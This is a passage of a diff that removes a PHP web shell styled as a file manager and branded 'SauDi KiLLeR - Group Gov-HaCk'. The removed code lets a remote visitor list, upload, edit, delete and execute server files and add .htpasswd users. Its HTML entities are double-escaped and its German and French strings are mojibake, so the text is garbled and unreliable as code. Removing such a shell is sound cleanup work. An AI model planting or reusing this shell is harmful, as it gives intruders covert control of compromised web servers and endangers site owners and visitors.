-	} elseif (($mode &amp;amp; 0x6000) === 0x6000) {
-		$type = 'b';
-	} elseif (($mode &amp;amp; 0x4000) === 0x4000) {
-		$type = 'd';
-	} elseif (($mode &amp;amp; 0x2000) === 0x2000) {
-		$type = 'c';
-	} elseif (($mode &amp;amp; 0x1000) === 0x1000) {
-		$type = 'p';
-	} else {
-		$type = '?';
-	}
-
-	$owner  = ($mode &amp;amp; 00400) ? 'r' : '-';
-	$owner .= ($mode &amp;amp; 00200) ? 'w' : '-';
-	if ($mode &amp;amp; 0x800) {
-		$owner .= ($mode &amp;amp; 00100) ? 's' : 'S';
-	} else {
-		$owner .= ($mode &amp;amp; 00100) ? 'x' : '-';
-	}
-
-	$group  = ($mode &amp;amp; 00040) ? 'r' : '-';
-	$group .= ($mode &amp;amp; 00020) ? 'w' : '-';
-	if ($mode &amp;amp; 0x400) {
-		$group .= ($mode &amp;amp; 00010) ? 's' : 'S';
-	} else {
-		$group .= ($mode &amp;amp; 00010) ? 'x' : '-';
-	}
-
-	$other  = ($mode &amp;amp; 00004) ? 'r' : '-';
-	$other .= ($mode &amp;amp; 00002) ? 'w' : '-';
-	if ($mode &amp;amp; 0x200) {
-		$other .= ($mode &amp;amp; 00001) ? 't' : 'T';
-	} else {
-		$other .= ($mode &amp;amp; 00001) ? 'x' : '-';
-	}
-
-	return $type . $owner . $group . $other;
-
-}
-
-function is_script ($filename) {
-	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
-}
-
-function getmimetype ($filename) {
-	static $mimes = array(
-		'\.jpg$|\.jpeg$'  =&amp;gt; 'image/jpeg',
-		'\.gif$'          =&amp;gt; 'image/gif',
-		'\.png$'          =&amp;gt; 'image/png',
-		'\.html$|\.html$' =&amp;gt; 'text/html',
-		'\.txt$|\.asc$'   =&amp;gt; 'text/plain',
-		'\.xml$|\.xsl$'   =&amp;gt; 'application/xml',
-		'\.pdf$'          =&amp;gt; 'application/pdf'
-	);
-
-	foreach ($mimes as $regex =&amp;gt; $mime) {
-		if (eregi($regex, $filename)) return $mime;
-	}
-
-	// return 'application/octet-stream';
-	return 'text/plain';
-
-}
-
-function del ($file) {
-	global $delim;
-
-	if (!@is_link($file) &amp;amp;&amp;amp; !file_exists($file)) return false;
-
-	if (!@is_link($file) &amp;amp;&amp;amp; @is_dir($file)) {
-
-		if ($dir = @opendir($file)) {
-
-			$error = false;
-
-			while (($f = readdir($dir)) !== false) {
-				if ($f != '.' &amp;amp;&amp;amp; $f != '..' &amp;amp;&amp;amp; !del($file . $delim . $f)) {
-					$error = true;
-				}
-			}
-			closedir($dir);
-
-			if (!$error) return @rmdir($file);
-
-			return !$error;
-
-		} else {
-			return false;
-		}
-
-	} else {
-		return @unlink($file);
-	}
-
-}
-
-function addslash ($directory) {
-	global $delim;
-
-	if (substr($directory, -1, 1) != $delim) {
-		return $directory . $delim;
-	} else {
-		return $directory;
-	}
-
-}
-
-function relative2absolute ($string, $directory) {
-
-	if (path_is_relative($string)) {
-		return simplify_path(addslash($directory) . $string);
-	} else {
-		return simplify_path($string);
-	}
-
-}
-
-function path_is_relative ($path) {
-	global $win;
-
-	if ($win) {
-		return (substr($path, 1, 1) != ':');
-	} else {
-		return (substr($path, 0, 1) != '/');
-	}
-
-}
-
-function absolute2relative ($directory, $target) {
-	global $delim;
-
-	$path = '';
-	while ($directory != $target) {
-		if ($directory == substr($target, 0, strlen($directory))) {
-			$path .= substr($target, strlen($directory));
-			break;
-		} else {
-			$path .= '..' . $delim;
-			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
-		}
-	}
-	if ($path == '') $path = '.';
-
-	return $path;
-
-}
-
-function simplify_path ($path) {
-	global $delim;
-
-	if (@file_exists($path) &amp;amp;&amp;amp; function_exists('realpath') &amp;amp;&amp;amp; @realpath($path) != '') {
-		$path = realpath($path);
-		if (@is_dir($path)) {
-			return addslash($path);
-		} else {
-			return $path;
-		}
-	}
-
-	$pattern  = $delim . '.' . $delim;
-
-	if (@is_dir($path)) {
-		$path = addslash($path);
-	}
-
-	while (strpos($path, $pattern) !== false) {
-		$path = str_replace($pattern, $delim, $path);
-	}
-
-	$e = addslashes($delim);
-	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
-
-	while (ereg($regex, $path)) {
-		$path = ereg_replace($regex, $delim, $path);
-	}
-	
-	return $path;
-
-}
-
-function human_filesize ($filesize) {
-
-	$suffices = 'kMGTPE';
-
-	$n = 0;
-	while ($filesize &amp;gt;= 1000) {
-		$filesize /= 1024;
-		$n++;
-	}
-
-	$filesize = round($filesize, 3 - strpos($filesize, '.'));
-
-	if (strpos($filesize, '.') !== false) {
-		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
-			$filesize = substr($filesize, 0, strlen($filesize) - 1);
-		}
-	}
-
-	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
-
-	return $filesize . " {$suffix}B";
-
-}
-
-function strip (&amp;amp;$str) {
-	$str = stripslashes($str);
-}
-
-/* ------------------------------------------------------------------------- */
-
-function listing_page ($message = null) {
-	global $self, $directory, $sort, $reverse;
-
-	html_header();
-
-	$list = getlist($directory);
-
-	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
-	if (array_key_exists('reverse', $_GET) &amp;amp;&amp;amp; $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
-
-	sortlist($list, $sort, $reverse);
-
-	echo '&amp;lt;h1 style="margin-bottom: 0"&amp;gt;SauDi KiLLeR - Group Gov-HaCk&amp;lt;/h1&amp;gt;
-
-&amp;lt;form enctype="multipart/form-data" action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table id="main"&amp;gt;
-';
-
-	directory_choice();
-
-	if (!empty($message)) {
-		spacer();
-		echo $message;
-	}
-
-	if (@is_writable($directory)) {
-		upload_box();
-		create_box();
-	} else {
-		spacer();
-	}
-
-	if ($list) {
-		listing($list);
-	} else {
-		echo error('not_readable', $directory);
-	}
-
-	echo '&amp;lt;/table&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-	html_footer();
-
-}
-
-function listing ($list) {
-	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
-
-	echo '&amp;lt;tr class="listing"&amp;gt;
-	&amp;lt;th style="text-align: center; vertical-align: middle"&amp;gt;&amp;lt;img src="' . $self . '?image=smiley" alt="smiley" /&amp;gt;&amp;lt;/th&amp;gt;
-';
-
-	$d = 'dir=' . urlencode($directory) . '&amp;amp;amp;';
-
-	if (!$reverse &amp;amp;&amp;amp; $sort == 'filename') $r = '&amp;amp;amp;reverse=true'; else $r = '';
-	echo "\t&amp;lt;th class=\"filename\"&amp;gt;&amp;lt;a href=\"$self?{$d}sort=filename$r\"&amp;gt;" . word('filename') . "&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;\n";
-
-	if (!$reverse &amp;amp;&amp;amp; $sort == 'size') $r = '&amp;amp;amp;reverse=true'; else $r = '';
-	echo "\t&amp;lt;th class=\"size\"&amp;gt;&amp;lt;a href=\"$self?{$d}sort=size$r\"&amp;gt;" . word('size') . "&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;\n";
-
-	if (!$win) {
-
-		if (!$reverse &amp;amp;&amp;amp; $sort == 'permission') $r = '&amp;amp;amp;reverse=true'; else $r = '';
-		echo "\t&amp;lt;th class=\"permission_header\"&amp;gt;&amp;lt;a href=\"$self?{$d}sort=permission$r\"&amp;gt;" . word('permission') . "&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;\n";
-
-		if (!$reverse &amp;amp;&amp;amp; $sort == 'owner') $r = '&amp;amp;amp;reverse=true'; else $r = '';
-		echo "\t&amp;lt;th class=\"owner\"&amp;gt;&amp;lt;a href=\"$self?{$d}sort=owner$r\"&amp;gt;" . word('owner') . "&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;\n";
-
-		if (!$reverse &amp;amp;&amp;amp; $sort == 'group') $r = '&amp;amp;amp;reverse=true'; else $r = '';
-		echo "\t&amp;lt;th class=\"group\"&amp;gt;&amp;lt;a href=\"$self?{$d}sort=group$r\"&amp;gt;" . word('group') . "&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;\n";
-
-	}
-
-	echo '	&amp;lt;th class="functions"&amp;gt;' . word('functions') . '&amp;lt;/th&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-	for ($i = 0; $i &amp;lt; sizeof($list); $i++) {
-		$file = $list[$i];
-
-		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
-		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
-		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
-
-		echo '&amp;lt;tr class="listing"&amp;gt;
-	&amp;lt;td class="checkbox"&amp;gt;&amp;lt;input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /&amp;gt;&amp;lt;/td&amp;gt;
-	&amp;lt;td class="filename" title="' . html($timestamps) . '"&amp;gt;';
-
-		if ($file['is_link']) {
-
-			echo '&amp;lt;img src="' . $self . '?image=link" alt="link" /&amp;gt; ';
-			echo html($file['filename']) . ' &amp;amp;rarr; ';
-
-			$real_file = relative2absolute($file['target'], $directory);
-
-			if (@is_readable($real_file)) {
-				if (@is_dir($real_file)) {
-					echo '[ &amp;lt;a href="' . $self . '?dir=' . urlencode($real_file) . '"&amp;gt;' . html($file['target']) . '&amp;lt;/a&amp;gt; ]';
-				} else {
-					echo '&amp;lt;a href="' . $self . '?action=view&amp;amp;amp;file=' . urlencode($real_file) . '"&amp;gt;' . html($file['target']) . '&amp;lt;/a&amp;gt;';
-				}
-			} else {
-				echo html($file['target']);
-			}
-
-		} elseif ($file['is_dir']) {
-
-			echo '&amp;lt;img src="' . $self . '?image=folder" alt="folder" /&amp;gt; [ ';
-			if ($win || $file['is_executable']) {
-				echo '&amp;lt;a href="' . $self . '?dir=' . urlencode($file['path']) . '"&amp;gt;' . html($file['filename']) . '&amp;lt;/a&amp;gt;';
-			} else {
-				echo html($file['filename']);
-			}
-			echo ' ]';
-
-		} else {
-
-			if (substr($file['filename'], 0, 1) == '.') {
-				echo '&amp;lt;img src="' . $self . '?image=hidden_file" alt="hidden file" /&amp;gt; ';
-			} else {
-				echo '&amp;lt;img src="' . $self . '?image=file" alt="file" /&amp;gt; ';
-			}
-
-			if ($file['is_file'] &amp;amp;&amp;amp; $file['is_readable']) {
-			   echo '&amp;lt;a href="' . $self . '?action=view&amp;amp;amp;file=' . urlencode($file['path']) . '"&amp;gt;' . html($file['filename']) . '&amp;lt;/a&amp;gt;';
-			} else {
-				echo html($file['filename']);
-			}
-
-		}
-
-		if ($file['size'] &amp;gt;= 1000) {
-			$human = ' title="' . human_filesize($file['size']) . '"';
-		} else {
-			$human = '';
-		}
-
-		echo "\t&amp;lt;td class=\"size\"$human&amp;gt;{$file['size']} B&amp;lt;/td&amp;gt;\n";
-
-		if (!$win) {
-
-			echo "\t&amp;lt;td class=\"permission\" title=\"" . decoct($file['permission']) . '"&amp;gt;';
-
-			$l = !$file['is_link'] &amp;amp;&amp;amp; (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
-			if ($l) echo '&amp;lt;a href="' . $self . '?action=permission&amp;amp;amp;file=' . urlencode($file['path']) . '&amp;amp;amp;dir=' . urlencode($directory) . '"&amp;gt;';
-			echo html(permission_octal2string($file['permission']));
-			if ($l) echo '&amp;lt;/a&amp;gt;';
-
-			echo "&amp;lt;/td&amp;gt;\n";
-
-			if (array_key_exists('owner_name', $file)) {
-				echo "\t&amp;lt;td class=\"owner\" title=\"uid: {$file['owner']}\"&amp;gt;{$file['owner_name']}&amp;lt;/td&amp;gt;\n";
-			} else {
-				echo "\t&amp;lt;td class=\"owner\"&amp;gt;{$file['owner']}&amp;lt;/td&amp;gt;\n";
-			}
-
-			if (array_key_exists('group_name', $file)) {
-				echo "\t&amp;lt;td class=\"group\" title=\"gid: {$file['group']}\"&amp;gt;{$file['group_name']}&amp;lt;/td&amp;gt;\n";
-			} else {
-				echo "\t&amp;lt;td class=\"group\"&amp;gt;{$file['group']}&amp;lt;/td&amp;gt;\n";
-			}
-
-		}
-
-		echo '	&amp;lt;td class="functions"&amp;gt;
-		&amp;lt;input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" /&amp;gt;
-';
-
-		$actions = array();
-		if (function_exists('symlink')) {
-			$actions[] = 'create_symlink';
-		}
-		if (@is_writable(dirname($file['path']))) {
-			$actions[] = 'delete';
-			$actions[] = 'rename';
-			$actions[] = 'move';
-		}
-		if ($file['is_file'] &amp;amp;&amp;amp; $file['is_readable']) {
-			$actions[] = 'copy';
-			$actions[] = 'download';
-			if ($file['is_writable']) $actions[] = 'edit';
-		}
-		if (!$win &amp;amp;&amp;amp; function_exists('exec') &amp;amp;&amp;amp; $file['is_file'] &amp;amp;&amp;amp; $file['is_executable'] &amp;amp;&amp;amp; file_exists('/bin/sh')) {
-			$actions[] = 'execute';
-		}
-
-		if (sizeof($actions) &amp;gt; 0) {
-
-			echo '		&amp;lt;select class="small" name="action' . $i . '" size="1"&amp;gt;
-		&amp;lt;option value=""&amp;gt;' . str_repeat('&amp;amp;nbsp;', 30) . '&amp;lt;/option&amp;gt;
-';
-
-			foreach ($actions as $action) {
-				echo "\t\t&amp;lt;option value=\"$action\"&amp;gt;" . word($action) . "&amp;lt;/option&amp;gt;\n";
-			}
-
-			echo '		&amp;lt;/select&amp;gt;
-		&amp;lt;input class="small" type="submit" name="submit' . $i . '" value=" &amp;amp;gt; " onfocus="activate(\'other\')" /&amp;gt;
-';
-
-		}
-
-		echo '	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-	}
-
-	echo '&amp;lt;tr class="listing_footer"&amp;gt;
-	&amp;lt;td style="text-align: right; vertical-align: top"&amp;gt;&amp;lt;img src="' . $self . '?image=arrow" alt="&amp;amp;gt;" /&amp;gt;&amp;lt;/td&amp;gt;
-	&amp;lt;td colspan="' . ($cols - 1) . '"&amp;gt;
-		&amp;lt;input type="hidden" name="num" value="' . sizeof($list) . '" /&amp;gt;
-		&amp;lt;input type="hidden" name="focus" value="" /&amp;gt;
-		&amp;lt;input type="hidden" name="olddir" value="' . html($directory) . '" /&amp;gt;
-';
-
-	$actions = array();
-	if (@is_writable(dirname($file['path']))) {
-		$actions[] = 'delete';
-		$actions[] = 'move';
-	}
-	$actions[] = 'copy';
-
-	echo '		&amp;lt;select class="small" name="action_all" size="1"&amp;gt;
-		&amp;lt;option value=""&amp;gt;' . str_repeat('&amp;amp;nbsp;', 30) . '&amp;lt;/option&amp;gt;
-';
-
-	foreach ($actions as $action) {
-		echo "\t\t&amp;lt;option value=\"$action\"&amp;gt;" . word($action) . "&amp;lt;/option&amp;gt;\n";
-	}
-
-	echo '		&amp;lt;/select&amp;gt;
-		&amp;lt;input class="small" type="submit" name="submit_all" value=" &amp;amp;gt; " onfocus="activate(\'other\')" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function directory_choice () {
-	global $directory, $homedir, $cols, $self;
-
-	echo '&amp;lt;tr&amp;gt;
-	&amp;lt;td colspan="' . $cols . '" id="directory"&amp;gt;
-		&amp;lt;a href="' . $self . '?dir=' . urlencode($homedir) . '"&amp;gt;' . word('directory') . '&amp;lt;/a&amp;gt;:
-		&amp;lt;input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" /&amp;gt;
-		&amp;lt;input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function upload_box () {
-	global $cols;
-
-	echo '&amp;lt;tr&amp;gt;
-	&amp;lt;td colspan="' . $cols . '" id="upload"&amp;gt;
-		' . word('file') . ':
-		&amp;lt;input type="file" name="upload" onfocus="activate(\'other\')" /&amp;gt;
-		&amp;lt;input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function create_box () {
-	global $cols;
-
-	echo '&amp;lt;tr&amp;gt;
-	&amp;lt;td colspan="' . $cols . '" id="create"&amp;gt;
-		&amp;lt;select name="create_type" size="1" onfocus="activate(\'create\')"&amp;gt;
-		&amp;lt;option value="file"&amp;gt;' . word('file') . '&amp;lt;/option&amp;gt;
-		&amp;lt;option value="directory"&amp;gt;' . word('directory') . '&amp;lt;/option&amp;gt;
-		&amp;lt;/select&amp;gt;
-		&amp;lt;input type="text" name="create_name" onfocus="activate(\'create\')" /&amp;gt;
-		&amp;lt;input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" /&amp;gt;
-	&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function edit ($file) {
-	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
-
-	html_header();
-
-	echo '&amp;lt;h2 style="margin-bottom: 3pt"&amp;gt;' . html($file) . '&amp;lt;/h2&amp;gt;
-
-&amp;lt;form action="' . $self . '" method="post"&amp;gt;
-
-&amp;lt;table class="dialog"&amp;gt;
-&amp;lt;tr&amp;gt;
-&amp;lt;td class="dialog"&amp;gt;
-
-	&amp;lt;textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off"&amp;gt;';
-
-	if (array_key_exists('content', $_POST)) {
-		echo $_POST['content'];
-	} else {
-		$f = fopen($file, 'r');
-		while (!feof($f)) {
-			echo html(fread($f, 8192));
-		}
-		fclose($f);
-	}
-
-	if (!empty($_POST['user'])) {
-		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
-	}
-	if (!empty($_POST['basic_auth'])) {
-		if ($win) {
-			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
-		} else {
-			$authfile = $directory . $htpasswd;
-		}
-		echo "\nAuthType Basic\nAuthName &amp;amp;quot;Restricted Directory&amp;amp;quot;\n";
-		echo 'AuthUserFile &amp;amp;quot;' . html($authfile) . "&amp;amp;quot;\n";
-		echo 'Require valid-user';
-	}
-
-	echo '&amp;lt;/textarea&amp;gt;
-
-	&amp;lt;hr /&amp;gt;
-';
-
-	if ($apache &amp;amp;&amp;amp; basename($file) == $htpasswd) {
-		echo '
-	' . word('user') . ': &amp;lt;input type="text" name="user" /&amp;gt;
-	' . word('password') . ': &amp;lt;input type="password" name="password" /&amp;gt;
-	&amp;lt;input type="submit" value="' . word('add') . '" /&amp;gt;
-
-	&amp;lt;hr /&amp;gt;
-';
-
-	}
-
-	if ($apache &amp;amp;&amp;amp; basename($file) == $htaccess) {
-		echo '
-	&amp;lt;input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" /&amp;gt;
-
-	&amp;lt;hr /&amp;gt;
-';
-
-	}
-
-	echo '
-	&amp;lt;input type="hidden" name="action" value="edit" /&amp;gt;
-	&amp;lt;input type="hidden" name="file" value="' . html($file) . '" /&amp;gt;
-	&amp;lt;input type="hidden" name="dir" value="' . html($directory) . '" /&amp;gt;
-	&amp;lt;input type="reset" value="' . word('reset') . '" id="red_button" /&amp;gt;
-	&amp;lt;input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" /&amp;gt;
-
-&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-&amp;lt;/table&amp;gt;
-
-&amp;lt;p&amp;gt;&amp;lt;a href="' . $self . '?dir=' . urlencode($directory) . '"&amp;gt;[ ' . word('back') . ' ]&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
-
-&amp;lt;/form&amp;gt;
-
-';
-
-	html_footer();
-
-}
-
-function spacer () {
-	global $cols;
-
-	echo '&amp;lt;tr&amp;gt;
-	&amp;lt;td colspan="' . $cols . '" style="height: 1em"&amp;gt;&amp;lt;/td&amp;gt;
-&amp;lt;/tr&amp;gt;
-';
-
-}
-
-function textfieldsize ($content) {
-
-	$size = strlen($content) + 5;
-	if ($size &amp;lt; 30) $size = 30;
-
-	return $size;
-
-}
-
-function request_dump () {
-
-	foreach ($_REQUEST as $key =&amp;gt; $value) {
-		echo "\t&amp;lt;input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" /&amp;gt;\n";
-	}
-
-}
-
-/* ------------------------------------------------------------------------- */
-
-function html ($string) {
-	global $site_charset;
-	return htmlentities($string, ENT_COMPAT, $site_charset);
-}
-
-function word ($word) {
-	global $words, $word_charset;
-	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
-}
-
-function phrase ($phrase, $arguments) {
-	global $words;
-	static $search;
-
-	if (!is_array($search)) for ($i = 1; $i &amp;lt;= 8; $i++) $search[] = "%$i";
-
-	for ($i = 0; $i &amp;lt; sizeof($arguments); $i++) {
-		$arguments[$i] = nl2br(html($arguments[$i]));
-	}
-
-	$replace = array('{' =&amp;gt; '&amp;lt;pre&amp;gt;', '}' =&amp;gt;'&amp;lt;/pre&amp;gt;', '[' =&amp;gt; '&amp;lt;b&amp;gt;', ']' =&amp;gt; '&amp;lt;/b&amp;gt;');
-
-	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
-
-}
-
-function getwords ($lang) {
-	global $word_charset, $date_format;
-
-	switch ($lang) {
-	case 'de':
-
-		$date_format = 'd.m.y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'Verzeichnis',
-'file' =&amp;gt; 'Datei',
-'filename' =&amp;gt; 'Dateiname',
-
-'size' =&amp;gt; 'GrU?Uƒe',
-'permission' =&amp;gt; 'Rechte',
-'owner' =&amp;gt; 'Eigner',
-'group' =&amp;gt; 'Gruppe',
-'other' =&amp;gt; 'Andere',
-'functions' =&amp;gt; 'Funktionen',
-
-'read' =&amp;gt; 'lesen',
-'write' =&amp;gt; 'schreiben',
-'execute' =&amp;gt; 'ausf?¼hren',
-
-'create_symlink' =&amp;gt; 'Symlink erstellen',
-'delete' =&amp;gt; 'lU?schen',
-'rename' =&amp;gt; 'umbenennen',
-'move' =&amp;gt; 'verschieben',
-'copy' =&amp;gt; 'kopieren',
-'edit' =&amp;gt; 'editieren',
-'download' =&amp;gt; 'herunterladen',
-'upload' =&amp;gt; 'hochladen',
-'create' =&amp;gt; 'erstellen',
-'change' =&amp;gt; 'wechseln',
-'save' =&amp;gt; 'speichern',
-'set' =&amp;gt; 'setze',
-'reset' =&amp;gt; 'zur?¼cksetzen',
-'relative' =&amp;gt; 'Pfad zum Ziel relativ',
-
-'yes' =&amp;gt; 'Ja',
-'no' =&amp;gt; 'Nein',
-'back' =&amp;gt; 'zur?¼ck',
-'destination' =&amp;gt; 'Ziel',
-'symlink' =&amp;gt; 'Symbolischer Link',
-'no_output' =&amp;gt; 'keine Ausgabe',
-
-'user' =&amp;gt; 'Benutzername',
-'password' =&amp;gt; 'Kennwort',
-'add' =&amp;gt; 'hinzuf?¼gen',
-'add_basic_auth' =&amp;gt; 'HTTP-Basic-Auth hinzuf?¼gen',
-
-'uploaded' =&amp;gt; '"[%1]" wurde hochgeladen.',
-'not_uploaded' =&amp;gt; '"[%1]" konnte nicht hochgeladen werden.',
-'already_exists' =&amp;gt; '"[%1]" existiert bereits.',
-'created' =&amp;gt; '"[%1]" wurde erstellt.',
-'not_created' =&amp;gt; '"[%1]" konnte nicht erstellt werden.',
-'really_delete' =&amp;gt; 'Sollen folgende Dateien wirklich gelU?scht werden?',
-'deleted' =&amp;gt; "Folgende Dateien wurden gelU?scht:\n[%1]",
-'not_deleted' =&amp;gt; "Folgende Dateien konnten nicht gelU?scht werden:\n[%1]",
-'rename_file' =&amp;gt; 'Benenne Datei um:',
-'renamed' =&amp;gt; '"[%1]" wurde in "[%2]" umbenannt.',
-'not_renamed' =&amp;gt; '"[%1] konnte nicht in "[%2]" umbenannt werden.',
-'move_files' =&amp;gt; 'Verschieben folgende Dateien:',
-'moved' =&amp;gt; "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
-'not_moved' =&amp;gt; "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
-'copy_files' =&amp;gt; 'Kopiere folgende Dateien:',
-'copied' =&amp;gt; "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
-'not_copied' =&amp;gt; "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" kann nicht editiert werden.',
-'executed' =&amp;gt; "\"[%1]\" wurde erfolgreich ausgef?¼hrt:\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" konnte nicht erfolgreich ausgef?¼hrt werden:\n{%2}",
-'saved' =&amp;gt; '"[%1]" wurde gespeichert.',
-'not_saved' =&amp;gt; '"[%1]" konnte nicht gespeichert werden.',
-'symlinked' =&amp;gt; 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
-'not_symlinked' =&amp;gt; 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
-'permission_for' =&amp;gt; 'Rechte f?¼r "[%1]":',
-'permission_set' =&amp;gt; 'Die Rechte f?¼r "[%1]" wurden auf [%2] gesetzt.',
-'permission_not_set' =&amp;gt; 'Die Rechte f?¼r "[%1]" konnten nicht auf [%2] gesetzt werden.',
-'not_readable' =&amp;gt; '"[%1]" kann nicht gelesen werden.'
-		);
-
-	case 'fr':
-
-		$date_format = 'd.m.y H:i:s';
-		$word_charset = 'ISO-8859-1';
-
-		return array(
-'directory' =&amp;gt; 'R?©pertoire',
-'file' =&amp;gt; 'Fichier',
-'filename' =&amp;gt; 'Nom fichier',
-
-'size' =&amp;gt; 'Taille',
-'permission' =&amp;gt; 'Droits',
-'owner' =&amp;gt; 'Propri?©taire',
-'group' =&amp;gt; 'Groupe',
-'other' =&amp;gt; 'Autres',
-'functions' =&amp;gt; 'Fonctions',
-
-'read' =&amp;gt; 'Lire',
-'write' =&amp;gt; 'Ecrire',
-'execute' =&amp;gt; 'Ex?©cuter',
-
-'create_symlink' =&amp;gt; 'Cr?©er lien symbolique',
-'delete' =&amp;gt; 'Effacer',
-'rename' =&amp;gt; 'Renommer',
-'move' =&amp;gt; 'D?©placer',
-'copy' =&amp;gt; 'Copier',
-'edit' =&amp;gt; 'Ouvrir',
-'download' =&amp;gt; 'T?©l?©charger sur PC',
-'upload' =&amp;gt; 'T?©l?©charger sur serveur',
-'create' =&amp;gt; 'Cr?©er',
-'change' =&amp;gt; 'Changer',
-'save' =&amp;gt; 'Sauvegarder',
-'set' =&amp;gt; 'Ex?©cuter',
-'reset' =&amp;gt; 'R?©initialiser',
-'relative' =&amp;gt; 'Relatif',
-
-'yes' =&amp;gt; 'Oui',
-'no' =&amp;gt; 'Non',
-'back' =&amp;gt; 'Retour',
-'destination' =&amp;gt; 'Destination',
-'symlink' =&amp;gt; 'Lien symbollique',
-'no_output' =&amp;gt; 'Pas de sortie',
-
-'user' =&amp;gt; 'Utilisateur',
-'password' =&amp;gt; 'Mot de passe',
-'add' =&amp;gt; 'Ajouter',
-'add_basic_auth' =&amp;gt; 'add basic-authentification',
-
-'uploaded' =&amp;gt; '"[%1]" a ?©t?© t?©l?©charg?© sur le serveur.',
-'not_uploaded' =&amp;gt; '"[%1]" n a pas ?©t?© t?©l?©charg?© sur le serveur.',
-'already_exists' =&amp;gt; '"[%1]" existe d?©j? .',
-'created' =&amp;gt; '"[%1]" a ?©t?© cr?©?©.',
-'not_created' =&amp;gt; '"[%1]" n a pas pu ??tre cr?©?©.',
-'really_delete' =&amp;gt; 'Effacer le fichier?',
-'deleted' =&amp;gt; "Ces fichiers ont ?©t?© d?©tuits:\n[%1]",
-'not_deleted' =&amp;gt; "Ces fichiers n ont pu ??tre d?©truits:\n[%1]",
-'rename_file' =&amp;gt; 'Renomme fichier:',
-'renamed' =&amp;gt; '"[%1]" a ?©t?© renomm?© en "[%2]".',
-'not_renamed' =&amp;gt; '"[%1] n a pas pu ??tre renomm?© en "[%2]".',
-'move_files' =&amp;gt; 'D?©placer ces fichiers:',
-'moved' =&amp;gt; "Ces fichiers ont ?©t?© d?©plac?©s en \"[%2]\":\n[%1]",
-'not_moved' =&amp;gt; "Ces fichiers n ont pas pu ??tre d?©plac?©s en \"[%2]\":\n[%1]",
-'copy_files' =&amp;gt; 'Copier ces fichiers:',
-'copied' =&amp;gt; "Ces fichiers ont ?©t?© copi?©s en \"[%2]\":\n[%1]",
-'not_copied' =&amp;gt; "Ces fichiers n ont pas pu ??tre copi?©s en \"[%2]\":\n[%1]",
-'not_edited' =&amp;gt; '"[%1]" ne peut ??tre ouvert.',
-'executed' =&amp;gt; "\"[%1]\" a ?©t?© brillamment ex?©cut?© :\n{%2}",
-'not_executed' =&amp;gt; "\"[%1]\" n a pas pu ??tre ex?©cut?©:\n{%2}",
-'saved' =&amp;gt; '"[%1]" a ?©t?© sauvegard?©.',
-'not_saved' =&amp;gt; '"[%1]" n a pas pu ??tre sauvegard?©.',
-'symlinked' =&amp;gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" a ?©t?© cr?©e.',
-'not_symlinked' =&amp;gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu ??tre cr?©?©.',
-'permission_for' =&amp;gt; 'Droits de "[%1]":',
-'permission_set' =&amp;gt; 'Droits de "[%1]" ont ?©t?© chang?©s en [%2].',
-'permission_not_set' =&amp;gt; 'Droits de "[%1]" n ont pas pu ??tre chang?©s en[%2].',
